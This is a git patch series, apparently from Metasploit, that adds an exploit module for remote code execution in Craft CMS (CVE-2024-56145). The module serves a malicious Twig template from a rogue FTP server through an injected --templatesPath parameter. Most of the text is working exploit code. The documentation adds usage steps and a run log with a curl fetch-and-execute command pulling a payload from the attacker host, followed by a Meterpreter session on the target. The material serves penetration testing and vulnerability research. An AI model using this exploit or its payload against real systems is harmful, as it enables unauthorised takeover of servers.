From 94507655aeb9c43755c01689f9ff2b694d37e5cc Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Sat, 28 Dec 2024 18:56:47 -0800 Subject: [PATCH 1/6] WIP CraftCMS FTP Template exploit --- lib/msf/core/exploit/remote/ftp_server.rb | 6 + .../linux/http/craftcms_ftp_template.rb | 230 ++++++++++++++++++ 2 files changed, 236 insertions(+) create mode 100644 modules/exploits/linux/http/craftcms_ftp_template.rb diff --git a/lib/msf/core/exploit/remote/ftp_server.rb b/lib/msf/core/exploit/remote/ftp_server.rb index caaaa1c1d975..648c05c126fa 100644 --- a/lib/msf/core/exploit/remote/ftp_server.rb +++ b/lib/msf/core/exploit/remote/ftp_server.rb @@ -74,6 +74,9 @@ def on_client_data(c) cmd,arg = data.strip.split(/\s+/, 2) arg ||= "" + # For testing purposes only + print_status("<- #{cmd} #{arg}") + return if not cmd # Allow per-command overrides @@ -81,6 +84,9 @@ def on_client_data(c) return self.send("on_client_command_#{cmd.downcase}", c, arg) end + # Also for testing purposes only + print_status("Received a command we don't have an override for: #{cmd}") + case cmd.upcase when 'USER' @state[c][:user] = arg diff --git a/modules/exploits/linux/http/craftcms_ftp_template.rb b/modules/exploits/linux/http/craftcms_ftp_template.rb new file mode 100644 index 000000000000..6fb859bc9e9a --- /dev/null +++ b/modules/exploits/linux/http/craftcms_ftp_template.rb @@ -0,0 +1,230 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::FtpServer + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Craft CMS Remote Code Execution (CVE-2024-56145)', + 'Description' => %q{ + This module exploits a Remote Code Execution vulnerability in Craft CMS. + The vulnerability can be triggered by directing the application to connect to an attacker controlled + FTP Server, leading to the execution of arbitrary commands on the target. + }, + 'Author' => [ + 'jheysel-r7', # msf Module + 'Assetnote' # Original discovery, use their advisory for CVE-2024-56145 + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'CVE', '2024-56145' ], + [ 'URL', 'https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms' ] + ], + 'Payload' => { + 'Space' => 1000, + 'BadChars' => "\x00\x0a\x0d" + }, + 'Arch' => ARCH_CMD, + 'Platform' => %w[unix linux], + 'Targets' => [ + [ 'Craft CMS Universal', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => '2024-04-01', + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + end + + def get_payload + "{{ ['system', 'bash -c \"#{payload.encoded}\"'] | sort('call_user_func') }}" + end + + def on_client_connect(c) + @state[c] = { + :name => "#{c.peerhost}:#{c.peerport}", + :ip => c.peerhost, + :port => c.peerport, + :user => nil, + :pass => nil, + :cwd => '/' + #:cwd => '/home/msfuser/git/metasploit-framework/data/exploits/CVE-2024-56145/' + } + + active_data_port_for_client(c, 2120) + + print_status("") + print_status("-> 220 FTP Server Ready") + c.put "220 FTP Server Ready\r\n" + end + + def on_client_command_user(c, arg) + vprint_status("on_client_command_user") + if arg.downcase == 'anonymous' + @state[c][:user] = 'anonymous' + print_status("-> 331 Username ok, send password.") + c.put "331 Username ok, send password.\r\n" + else + print_error("-> 530 Not logged in.\r\n") + c.put "530 Not logged in.\r\n" + end + end + + def on_client_command_pass(c, arg) + vprint_status("on_client_command_pass") + if @state[c][:user] == 'anonymous' + @state[c][:pass] = arg + print_status("-> 230 Login successful.") + c.put "230 Login successful.\r\n" + else + print_error("-> 530 Not logged in.") + c.put "530 Not logged in.\r\n" + end + end + + def on_client_command_cwd(c, arg) + vprint_status("on_client_command_cwd") + if arg == '/default' + @state[c][:cwd] = '/default' + print_status("-> 250 \"#{@state[c][:cwd]}\" is current directory.") + c.put "250 \"#{@state[c][:cwd]}\" is current directory.\r\n" + else + print_error("-> 550 Not a directory") + c.put "550 Not a directory.\r\n" + end + end + + def on_client_command_type(c, arg) + vprint_status("on_client_command_type") + if arg == 'I' + print_status("-> 200 Type set to: Binary.") + c.put "200 Type set to: Binary.\r\n" + else + print_error("-> 500 Unknown type.") + c.put "500 Unknown type.\r\n" + end + end + + def on_client_command_size(c, arg) + vprint_status("on_client_command_size") + if arg == '/default/index.twig' + #size = get_payload.length + print_status("-> 213 99") + c.put "213 99\r\n" + else + print_error("-> 550 #{arg} is not retrievable.") + c.put "550 #{arg} is not retrievable.\r\n" + end + end + + def on_client_command_mdtm(c, arg) + vprint_status("on_client_command_mdtm") + if arg == '/default/index.twig' + time = Time.now.strftime("%Y%m%d%H%M%S") + #time = "20241228215211" + print_status("-> 213 #{time}") + c.put "213 #{time}\r\n" + else + print_error("-> 550 #{arg} is not retrievable.") + c.put "550 #{arg} is not retrievable.\r\n" + end + end + + def on_client_command_epsv(c, _arg) + vprint_status("on_client_command_epsv") + dport = rand(1024..65535) + print_status("229 Entering extended passive mode (|||#{dport}|)") + c.put "229 Entering extended passive mode (|||#{dport}|)\r\n" + end + + def on_client_command_retr(c, _arg) + print_status("on_client_command_retr") + conn = establish_data_connection(c) + unless conn + print_error("425 can't build data connection") + return c.put("425 can't build data connection\r\n") + end + + print_status("150 Connection accepted") + c.put("150 Connection accepted\r\n") + + conn.put(payload.encoded) + conn.close + end + + def on_client_command_quit(c, _arg) + c.put "221 Goodbye.\r\n" + end + + def on_client_command_unknown(c, cmd, arg) + vprint_status("#{@state[c][:name]} UNKNOWN '#{cmd} #{arg}'") + c.put "500 '#{cmd} #{arg}': command not understood.\r\n" + end + + def on_client_unknown_command(connection, _cmd, _arg) + connection.put("200 OK\r\n") + end + + def check + nonce = Rex::Text.rand_text_alphanumeric(8) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'vars_get' => { '--configPath' => "/#{nonce}" } + }) + + if res && res.body.include?('mkdir()') && res.body.include?(nonce) + return CheckCode::Vulnerable + end + + CheckCode::Safe + end + + def exploit + if datastore['SSL'] == true + reset_ssl = true + datastore['SSL'] = false + end + setup + start_service + if reset_ssl + datastore['SSL'] = true + end + trigger_http_request + end + + def trigger_http_request + templates_path = "ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}" + begin + # Send raw request because send_request_cgi encodes special characters in the templates_path vars_get parameter and breaks it + res = send_request_raw({ + 'uri' => normalize_uri(target_uri.path) + '?--templatesPath=' + templates_path, + 'method' => 'GET', + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15' + } + }) + + if res && res.code == 200 + print_good('Payload triggered successfully. Check your listener for a session.') + else + print_error("Failed to trigger payload. HTTP Status: #{res.code}") + end + rescue StandardError => e + print_error("Error sending HTTP request: #{e.message}") + end + end +end From b7d922f471e95222aa3c4e9552a5819989617c5b Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Fri, 10 Jan 2025 17:39:13 +0100 Subject: [PATCH 2/6] Fix and enhance CraftCMS FTP exploit module --- .../linux/http/craftcms_ftp_template.md | 279 ++++++++++++++++++ .../linux/http/craftcms_ftp_template.rb | 265 +++++++---------- 2 files changed, 391 insertions(+), 153 deletions(-) create mode 100644 documentation/modules/exploit/linux/http/craftcms_ftp_template.md diff --git a/documentation/modules/exploit/linux/http/craftcms_ftp_template.md b/documentation/modules/exploit/linux/http/craftcms_ftp_template.md new file mode 100644 index 000000000000..e9c87832204f --- /dev/null +++ b/documentation/modules/exploit/linux/http/craftcms_ftp_template.md @@ -0,0 +1,279 @@ +## Vulnerable Application + +This Metasploit module exploits a Remote Code Execution vulnerability in **Craft CMS** versions that fall within the following ranges: + +- Versions `>= 5.0.0-RC1` and `< 5.5.2` +- Versions `>= 4.0.0-RC1` and `< 4.13.2` +- Versions `>= 3.0.0` and `< 3.9.14` + +The vulnerability lies in improper handling of Twig templates, which can be exploited +to inject and execute arbitrary PHP code on the server via crafted HTTP requests. + +--- + +### Affected Versions + +- **5.x Series**: `>= 5.0.0-RC1`, `< 5.5.2` +- **4.x Series**: `>= 4.0.0-RC1`, `< 4.13.2` +- **3.x Series**: `>= 3.0.0`, `< 3.9.14` + +--- + +### Setting Up a Vulnerable Lab + +To test this exploit, follow these steps to set up a vulnerable Craft CMS environment. + +#### Non-Docker Setup + +Install a specific vulnerable version of Craft CMS: + +```bash +mkdir exploit-craft && \ +cd exploit-craft && \ + # Configure DDEV project for Craft CMS +ddev config \ + --project-type=craftcms \ + --docroot=web \ + --create-docroot \ + --php-version="8.2" \ + --database="mysql:8.0" \ + --nodejs-version="20" && \ + # Create the DDEV project +ddev start -y && \ + # Create Craft CMS with the specified version +ddev composer create -y --no-scripts --no-interaction "craftcms/craft:5.0.0" && \ + # Install a vulnerable Craft CMS version +ddev composer require "craftcms/cms:5.5.0" \ + --no-scripts \ + --no-interaction --with-all-dependencies && \ + # Set the security key for Craft CMS +ddev craft setup/security-key && \ + # Install Craft CMS +ddev craft install/craft \ + --username=admin \ + --password=password123 \ + --email=admin@example.com \ + --site-name=Testsite \ + --language=en \ + --site-url='$DDEV_PRIMARY_URL' && \ + # Enable register_argc_argv for PHP +mkdir -p .ddev/php/ && \ +echo "register_argc_argv = On" > .ddev/php/php.ini && \ +ddev restart && \ + # Launch the project +echo 'Setup complete. Launching the project.' && \ +ddev launch +``` + +--- + +## Verification Steps + +1. Start the vulnerable Craft CMS instance using the steps above. +2. Launch `msfconsole`. +3. Use the module: `use exploit/multi/http/craftcms_twig_rce`. +4. Set `RHOSTS` to the target Craft CMS instance. +5. Configure additional options (`TARGETURI`, `SSL`, etc.) as needed. +6. Execute the exploit with the `run` command. +7. If successful, the module will execute the payload on the target. + +--- + +## Options +No option + +## Scenarios + +#### Successful Exploitation Against Craft CMS 5.5.0 + +**Setup**: + +- Local Craft CMS instance with a vulnerable version (e.g., `5.5.0`). +- Metasploit Framework. + +**Steps**: + +To successfully exploit the Craft CMS vulnerability using this Metasploit module, follow these steps: + +1. Start `msfconsole`: +```bash +msfconsole +``` + +2. Load the module: +```bash +use exploit/linux/http/craftcms_ftp_template +``` + +3. Set the `RHOSTS` option to the target Craft CMS instance, for example: +```bash +set RHOSTS exploit-craft.ddev.site +``` + +4. Configure other necessary options such as `TARGETURI`, `SSL`, and `RPORT` if required. By default: + - `RPORT` is set to `80`. + - `TARGETURI` is set to `/`. + +5. Set the payload for exploitation. For example: +```bash +set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp +``` + +6. Set the local listener address and port: +```bash +set LHOST 192.168.1.36 +set LPORT 4444 +``` + +7. Optionally, customize FTP-related settings like `SRVPORT` and `FETCH_URIPATH` if needed: +```bash +set SRVPORT 9090 +set FETCH_SRVPORT 8081 +set FETCH_URIPATH /custom_payload_path +``` + +8. Run the exploit: +```bash +exploit +``` + +**Expected Results**: + +If the target is vulnerable, the module will successfully execute the payload and open a session, such as a Meterpreter shell: + +```bash +msf6 exploit(linux/http/craftcms_ftp_template) > options + +Module options (exploit/linux/http/craftcms_ftp_template): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASVPORT 0 no The local PASV data port to listen on (0 is random) + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS exploit-craft.ddev.site yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metaspl + oit.html + RPORT 80 yes The target port (TCP) + SRVHOST 192.168.1.36 yes The local host or network interface to listen on. This must be an address on the local machine + or 0.0.0.0 to listen on all addresses. + SRVPORT 9090 yes The local port to listen on. + SSL false no Negotiate SSL for incoming connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME QnXFYebbb no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8081 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces + LHOST 192.168.1.36 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Unix/Linux Command Shell + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/craftcms_ftp_template) > exploit +[*] Command to run on remote host: curl -so ./jlVAsfWu http://192.168.1.36:8081/LoPlnjEpeOexZNVppn6cAA;chmod +x ./jlVAsfWu;./jlVAsfWu& +[*] Exploit running as background job 57. +[*] Exploit completed, but no session was created. +msf6 exploit(linux/http/craftcms_ftp_template) > +[*] Fetch handler listening on 192.168.1.36:8081 +[*] HTTP server started +[*] Adding resource /LoPlnjEpeOexZNVppn6cAA +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Performing vulnerability check... +[+] The target is vulnerable. +[*] Starting FTP service... +[*] Started service listener on 192.168.1.36:9090 +[*] FTP server started on 192.168.1.36:9090 +[*] Sending HTTP request to trigger the payload... +[*] Triggering HTTP request... +[*] -> 220 FTP Server Ready +[*] on_client_command_user +[*] -> 331 Username ok, send password. +[*] on_client_command_pass +[*] -> 230 Login successful. +[*] on_client_command_cwd +[*] -> 250 "/default" is current directory. +[*] on_client_command_type +[*] -> 200 Type set to: Binary. +[*] on_client_command_size +[*] -> 550 /default is not retrievable. +[*] on_client_command_mdtm +[*] -> 550 /default is not retrievable. +[*] -> 220 FTP Server Ready +[*] on_client_command_user +[*] -> 331 Username ok, send password. +[*] on_client_command_pass +[*] -> 230 Login successful. +[*] on_client_command_cwd +[*] -> 550 Not a directory +[*] on_client_command_type +[*] -> 200 Type set to: Binary. +[*] on_client_command_size +[*] -> 213 154 +[*] on_client_command_mdtm +[*] -> 213 20250110170738 +[*] -> 220 FTP Server Ready +[*] on_client_command_user +[*] -> 331 Username ok, send password. +[*] on_client_command_pass +[*] -> 230 Login successful. +[*] on_client_command_cwd +[*] -> 550 Not a directory +[*] on_client_command_type +[*] -> 200 Type set to: Binary. +[*] on_client_command_size +[*] -> 213 154 +[*] on_client_command_mdtm +[*] -> 213 20250110170738 +[*] -> 220 FTP Server Ready +[*] on_client_command_user +[*] -> 331 Username ok, send password. +[*] on_client_command_pass +[*] -> 230 Login successful. +[*] on_client_command_type +[*] -> 200 Type set to: Binary. +[*] on_client_command_size +[*] -> 213 154 +[*] on_client_command_epsv +[*] -> 502 EPSV command not implemented. +[*] on_client_command_retr +[*] -> 150 Opening data connection for /default/index.twig +[*] -> 226 Transfer complete. +[*] on_client_command_quit +[*] -> 221 Goodbye. +[*] Client 172.26.0.2 requested /LoPlnjEpeOexZNVppn6cAA +[*] Sending payload to 172.26.0.2 (curl/7.88.1) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 172.26.0.2 +[*] Meterpreter session 14 opened (192.168.1.36:4444 -> 172.26.0.2:59546) at 2025-01-10 17:07:39 +0100 + +msf6 exploit(linux/http/craftcms_ftp_template) > sessions 14 +[*] Starting interaction with 14... +meterpreter > sysinfo +Computer : 172.26.0.2 +OS : Debian 12.8 (Linux 5.15.0-130-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +[*] Waiting for FTP client connections... +[*] Shutting down FTP service... +[*] Server stopped. +``` diff --git a/modules/exploits/linux/http/craftcms_ftp_template.rb b/modules/exploits/linux/http/craftcms_ftp_template.rb index 6fb859bc9e9a..dbc9ac962b8b 100644 --- a/modules/exploits/linux/http/craftcms_ftp_template.rb +++ b/modules/exploits/linux/http/craftcms_ftp_template.rb @@ -14,36 +14,40 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Craft CMS Remote Code Execution (CVE-2024-56145)', + 'Name' => 'Craft CMS Twig Template Injection RCE via FTP Templates Path', 'Description' => %q{ - This module exploits a Remote Code Execution vulnerability in Craft CMS. - The vulnerability can be triggered by directing the application to connect to an attacker controlled - FTP Server, leading to the execution of arbitrary commands on the target. + This module exploits a Twig template injection vulnerability in Craft CMS by abusing the --templatesPath argument. + The vulnerability allows arbitrary template loading via FTP, leading to Remote Code Execution (RCE). }, 'Author' => [ - 'jheysel-r7', # msf Module - 'Assetnote' # Original discovery, use their advisory for CVE-2024-56145 + 'jheysel-r7', # Metasploit module + 'Valentin Lobstein', # Refactor, Fix, and PoC + 'AssetNote' # Vulnerability discovery ], - 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', '2024-56145' ], - [ 'URL', 'https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms' ] + ['CVE', '2024-56145'], + ['URL', 'https://github.com/Chocapikk/CVE-2024-56145'], + ['URL', 'https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms'] ], - 'Payload' => { - 'Space' => 1000, - 'BadChars' => "\x00\x0a\x0d" - }, - 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'Privileged' => false, 'Platform' => %w[unix linux], + 'Arch' => [ARCH_PHP, ARCH_CMD], 'Targets' => [ - [ 'Craft CMS Universal', {} ] + [ + 'Unix/Linux Command Shell', { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ], ], - 'Privileged' => false, - 'DisclosureDate' => '2024-04-01', + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-12-19', 'Notes' => { - 'Stability' => [], - 'Reliability' => [], - 'SideEffects' => [] + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] } ) ) @@ -53,178 +57,133 @@ def get_payload "{{ ['system', 'bash -c \"#{payload.encoded}\"'] | sort('call_user_func') }}" end - def on_client_connect(c) - @state[c] = { - :name => "#{c.peerhost}:#{c.peerport}", - :ip => c.peerhost, - :port => c.peerport, - :user => nil, - :pass => nil, - :cwd => '/' - #:cwd => '/home/msfuser/git/metasploit-framework/data/exploits/CVE-2024-56145/' - } - - active_data_port_for_client(c, 2120) + def send_ftp_response(cli, code, message) + cli.put "#{code} #{message}\r\n" + vprint_status("-> #{code} #{message}") + end - print_status("") - print_status("-> 220 FTP Server Ready") - c.put "220 FTP Server Ready\r\n" + def on_client_connect(cli) + @state[cli] = { + name: "#{cli.peerhost}:#{cli.peerport}", + ip: cli.peerhost, + port: cli.peerport, + user: nil, + pass: nil, + cwd: '/' + } + send_ftp_response(cli, 220, 'FTP Server Ready') end - def on_client_command_user(c, arg) - vprint_status("on_client_command_user") + def on_client_command_user(cli, arg) + vprint_status('on_client_command_user') if arg.downcase == 'anonymous' - @state[c][:user] = 'anonymous' - print_status("-> 331 Username ok, send password.") - c.put "331 Username ok, send password.\r\n" + @state[cli][:user] = 'anonymous' + send_ftp_response(cli, 331, 'Username ok, send password.') else - print_error("-> 530 Not logged in.\r\n") - c.put "530 Not logged in.\r\n" + send_ftp_response(cli, 530, 'Not logged in.') end end - def on_client_command_pass(c, arg) - vprint_status("on_client_command_pass") - if @state[c][:user] == 'anonymous' - @state[c][:pass] = arg - print_status("-> 230 Login successful.") - c.put "230 Login successful.\r\n" + def on_client_command_pass(cli, arg) + vprint_status('on_client_command_pass') + if @state[cli][:user] == 'anonymous' + @state[cli][:pass] = arg + send_ftp_response(cli, 230, 'Login successful.') else - print_error("-> 530 Not logged in.") - c.put "530 Not logged in.\r\n" + send_ftp_response(cli, 530, 'Not logged in.') end end - def on_client_command_cwd(c, arg) - vprint_status("on_client_command_cwd") + def on_client_command_cwd(cli, arg) + vprint_status('on_client_command_cwd') if arg == '/default' - @state[c][:cwd] = '/default' - print_status("-> 250 \"#{@state[c][:cwd]}\" is current directory.") - c.put "250 \"#{@state[c][:cwd]}\" is current directory.\r\n" + @state[cli][:cwd] = '/default' + send_ftp_response(cli, 250, "\"#{@state[cli][:cwd]}\" is current directory.") else - print_error("-> 550 Not a directory") - c.put "550 Not a directory.\r\n" + send_ftp_response(cli, 550, 'Not a directory') end end - def on_client_command_type(c, arg) - vprint_status("on_client_command_type") - if arg == 'I' - print_status("-> 200 Type set to: Binary.") - c.put "200 Type set to: Binary.\r\n" - else - print_error("-> 500 Unknown type.") - c.put "500 Unknown type.\r\n" - end + def on_client_command_type(cli, arg) + vprint_status('on_client_command_type') + arg == 'I' ? send_ftp_response(cli, 200, 'Type set to: Binary.') : send_ftp_response(cli, 500, 'Unknown type.') end - def on_client_command_size(c, arg) - vprint_status("on_client_command_size") - if arg == '/default/index.twig' - #size = get_payload.length - print_status("-> 213 99") - c.put "213 99\r\n" - else - print_error("-> 550 #{arg} is not retrievable.") - c.put "550 #{arg} is not retrievable.\r\n" - end + def on_client_command_size(cli, arg) + vprint_status('on_client_command_size') + arg == '/default/index.twig' ? send_ftp_response(cli, 213, get_payload.length.to_s) : send_ftp_response(cli, 550, "#{arg} is not retrievable.") end - def on_client_command_mdtm(c, arg) - vprint_status("on_client_command_mdtm") - if arg == '/default/index.twig' - time = Time.now.strftime("%Y%m%d%H%M%S") - #time = "20241228215211" - print_status("-> 213 #{time}") - c.put "213 #{time}\r\n" - else - print_error("-> 550 #{arg} is not retrievable.") - c.put "550 #{arg} is not retrievable.\r\n" - end + def on_client_command_mdtm(cli, arg) + vprint_status('on_client_command_mdtm') + arg == '/default/index.twig' ? send_ftp_response(cli, 213, Time.now.strftime('%Y%m%d%H%M%S')) : send_ftp_response(cli, 550, "#{arg} is not retrievable.") end - def on_client_command_epsv(c, _arg) - vprint_status("on_client_command_epsv") - dport = rand(1024..65535) - print_status("229 Entering extended passive mode (|||#{dport}|)") - c.put "229 Entering extended passive mode (|||#{dport}|)\r\n" + def on_client_command_epsv(cli, _arg) + vprint_status('on_client_command_epsv') + send_ftp_response(cli, 502, 'EPSV command not implemented.') end - def on_client_command_retr(c, _arg) - print_status("on_client_command_retr") - conn = establish_data_connection(c) - unless conn - print_error("425 can't build data connection") - return c.put("425 can't build data connection\r\n") + def on_client_command_retr(cli, arg) + vprint_status('on_client_command_retr') + if ['/default/index.twig', '/default/index.html'].include?(arg) + conn = establish_data_connection(cli) + unless conn + send_ftp_response(cli, 425, "Can't open data connection.") + return + end + send_ftp_response(cli, 150, "Opening data connection for #{arg}") + conn.put(get_payload) + conn.close + send_ftp_response(cli, 226, 'Transfer complete.') + else + send_ftp_response(cli, 550, 'File not available.') end - - print_status("150 Connection accepted") - c.put("150 Connection accepted\r\n") - - conn.put(payload.encoded) - conn.close - end - - def on_client_command_quit(c, _arg) - c.put "221 Goodbye.\r\n" + rescue IOError => e + vprint_error("Data transfer failed: #{e.message}") + send_ftp_response(cli, 425, 'Data transfer failed.') end - def on_client_command_unknown(c, cmd, arg) - vprint_status("#{@state[c][:name]} UNKNOWN '#{cmd} #{arg}'") - c.put "500 '#{cmd} #{arg}': command not understood.\r\n" + def on_client_command_quit(cli, _arg) + vprint_status('on_client_command_quit') + send_ftp_response(cli, 221, 'Goodbye.') end - def on_client_unknown_command(connection, _cmd, _arg) - connection.put("200 OK\r\n") + def on_client_command_unknown(cli, cmd, arg) + vprint_status('on_client_command_unknown') + send_ftp_response(cli, 500, "'#{cmd} #{arg}': command not understood.") end def check + vprint_status('Performing vulnerability check...') nonce = Rex::Text.rand_text_alphanumeric(8) - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path), - 'method' => 'GET', - 'vars_get' => { '--configPath' => "/#{nonce}" } - }) - - if res && res.body.include?('mkdir()') && res.body.include?(nonce) - return CheckCode::Vulnerable - end + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'vars_get' => { '--configPath' => "/#{nonce}" } + ) + res&.body&.include?('mkdir()') && res.body.include?(nonce) ? CheckCode::Vulnerable : CheckCode::Safe + end - CheckCode::Safe + def trigger_http_request + vprint_status('Triggering HTTP request...') + templates_path = "ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}" + send_request_raw( + 'uri' => normalize_uri(target_uri.path) + "?--templatesPath=#{templates_path}", + 'method' => 'GET', + 'headers' => { 'User-Agent' => 'Mozilla/5.0' } + ) + rescue StandardError => e + vprint_error("HTTP request failed: #{e.message}") end def exploit - if datastore['SSL'] == true - reset_ssl = true - datastore['SSL'] = false - end - setup + vprint_status('Starting FTP service...') start_service - if reset_ssl - datastore['SSL'] = true - end + vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + vprint_status('Sending HTTP request to trigger the payload...') trigger_http_request - end - - def trigger_http_request - templates_path = "ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}" - begin - # Send raw request because send_request_cgi encodes special characters in the templates_path vars_get parameter and breaks it - res = send_request_raw({ - 'uri' => normalize_uri(target_uri.path) + '?--templatesPath=' + templates_path, - 'method' => 'GET', - 'headers' => { - 'User-Agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15' - } - }) - - if res && res.code == 200 - print_good('Payload triggered successfully. Check your listener for a session.') - else - print_error("Failed to trigger payload. HTTP Status: #{res.code}") - end - rescue StandardError => e - print_error("Error sending HTTP request: #{e.message}") - end + vprint_status('Waiting for FTP client connections...') + vprint_status('Shutting down FTP service...') end end From 928634b9fe74c622e983dc7d9f54c919c0a65062 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Fri, 10 Jan 2025 10:26:17 -0800 Subject: [PATCH 3/6] Minor fixes and improvements --- .../linux/http/craftcms_ftp_template.rb | 51 +++++++++++++++---- 1 file changed, 40 insertions(+), 11 deletions(-) diff --git a/modules/exploits/linux/http/craftcms_ftp_template.rb b/modules/exploits/linux/http/craftcms_ftp_template.rb index dbc9ac962b8b..1348b7ff5823 100644 --- a/modules/exploits/linux/http/craftcms_ftp_template.rb +++ b/modules/exploits/linux/http/craftcms_ftp_template.rb @@ -32,7 +32,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Privileged' => false, 'Platform' => %w[unix linux], - 'Arch' => [ARCH_PHP, ARCH_CMD], + 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Unix/Linux Command Shell', { @@ -53,6 +53,10 @@ def initialize(info = {}) ) end + def vulnerable_file_list + %w[/default/index.twig /default/index.html] + end + def get_payload "{{ ['system', 'bash -c \"#{payload.encoded}\"'] | sort('call_user_func') }}" end @@ -106,17 +110,29 @@ def on_client_command_cwd(cli, arg) def on_client_command_type(cli, arg) vprint_status('on_client_command_type') - arg == 'I' ? send_ftp_response(cli, 200, 'Type set to: Binary.') : send_ftp_response(cli, 500, 'Unknown type.') + if arg == 'I' + send_ftp_response(cli, 200, 'Type set to: Binary.') + else + send_ftp_response(cli, 500, 'Unknown type.') + end end def on_client_command_size(cli, arg) vprint_status('on_client_command_size') - arg == '/default/index.twig' ? send_ftp_response(cli, 213, get_payload.length.to_s) : send_ftp_response(cli, 550, "#{arg} is not retrievable.") + if vulnerable_file_list.include?(arg) + send_ftp_response(cli, 213, get_payload.length.to_s) + else + send_ftp_response(cli, 550, "#{arg} is not retrievable.") + end end def on_client_command_mdtm(cli, arg) vprint_status('on_client_command_mdtm') - arg == '/default/index.twig' ? send_ftp_response(cli, 213, Time.now.strftime('%Y%m%d%H%M%S')) : send_ftp_response(cli, 550, "#{arg} is not retrievable.") + if vulnerable_file_list.include?(arg) + send_ftp_response(cli, 213, Time.now.strftime('%Y%m%d%H%M%S')) + else + send_ftp_response(cli, 550, "#{arg} is not retrievable.") + end end def on_client_command_epsv(cli, _arg) @@ -126,7 +142,7 @@ def on_client_command_epsv(cli, _arg) def on_client_command_retr(cli, arg) vprint_status('on_client_command_retr') - if ['/default/index.twig', '/default/index.html'].include?(arg) + if vulnerable_file_list.include?(arg) conn = establish_data_connection(cli) unless conn send_ftp_response(cli, 425, "Can't open data connection.") @@ -162,7 +178,12 @@ def check 'method' => 'GET', 'vars_get' => { '--configPath' => "/#{nonce}" } ) - res&.body&.include?('mkdir()') && res.body.include?(nonce) ? CheckCode::Vulnerable : CheckCode::Safe + + if res&.body&.include?('mkdir()') && res&.body&.include?(nonce) + CheckCode::Vulnerable + else + CheckCode::Safe + end end def trigger_http_request @@ -170,20 +191,28 @@ def trigger_http_request templates_path = "ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}" send_request_raw( 'uri' => normalize_uri(target_uri.path) + "?--templatesPath=#{templates_path}", - 'method' => 'GET', - 'headers' => { 'User-Agent' => 'Mozilla/5.0' } + 'method' => 'GET' ) rescue StandardError => e vprint_error("HTTP request failed: #{e.message}") end + def start_ftp_service + if datastore['SSL'] == true + reset_ssl = true + datastore['SSL'] = false + end + start_service + if reset_ssl + datastore['SSL'] = true + end + end + def exploit vprint_status('Starting FTP service...') - start_service + start_ftp_service vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") vprint_status('Sending HTTP request to trigger the payload...') trigger_http_request - vprint_status('Waiting for FTP client connections...') - vprint_status('Shutting down FTP service...') end end From d52593f231007f0f2ea6b0c24321572e106a51ad Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Fri, 10 Jan 2025 10:42:50 -0800 Subject: [PATCH 4/6] Rubocop fix --- modules/exploits/linux/http/craftcms_ftp_template.rb | 2 +- 1 file changed, 1 insertion(+), 1 